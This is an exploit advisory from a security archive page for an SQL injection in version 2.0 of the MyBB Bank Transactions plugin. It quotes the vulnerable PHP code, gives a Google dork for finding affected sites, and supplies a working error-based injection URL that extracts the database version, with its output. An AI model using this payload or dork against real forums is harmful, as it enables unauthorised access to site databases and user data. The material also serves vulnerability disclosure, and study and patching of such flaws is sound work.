what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB Bank Transactions 2.0 SQL Injection

MyBB Bank Transactions 2.0 SQL Injection
Posted Dec 18, 2012
Authored by limb0

MyBB Bank Transactions plugin version 2.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | b5222aa3da9434e51331f92cb0cbda2b2fa97e5fbd76eddfa0fe0fd087c25916

MyBB Bank Transactions 2.0 SQL Injection

Change Mirror Download
# Exploit Title: MyBB Bank Transactions Plugin SQL Injection
# Google Dork: inurl:bank.php?transactions=
# Date: 13.12.2012
# Exploit Author: limb0
# Vendor Homepage: http://mods.mybb.com/view/transactions
# Software Link: www.kingofpersia.ir
# Version: 2.0
# Category:Web Security
# Tested on: Linux

================================SQLi==============================
Installation:
1:Download the plugin and copy-paste the files on the right directory
2:Activate the plugin
(On this step maybe you will get an error like:
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM DEFAULT CHARSET=utf8' at line 7
This is because of the plugin.Open the bank.php from the /inc/plugins directory and delete this part from every query:
"TYPE=MyISAM DEFAULT CHARSET=utf8".When you click on Activate again everything should work right)

------------------------------------------------------------------

This vulnerability exists on bank.php
Vulnerable lines

$uid=$_GET['transactions'];
$T_ID=1;
$T_ufetch=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE uid=$uid ");

-------------------------------------------------------------------

Instructions:
Go to: /bank.php?transactions=[SQLi]
example:
/bank.php?transactions=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--

Result:
1062 - Duplicate entry '5.5.27~1' for key 'group_key'

Proof:http://postimage.org/image/i34m16ejj/



Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    32 Files
  • 6
    Jun 6th
    39 Files
  • 7
    Jun 7th
    22 Files
  • 8
    Jun 8th
    17 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close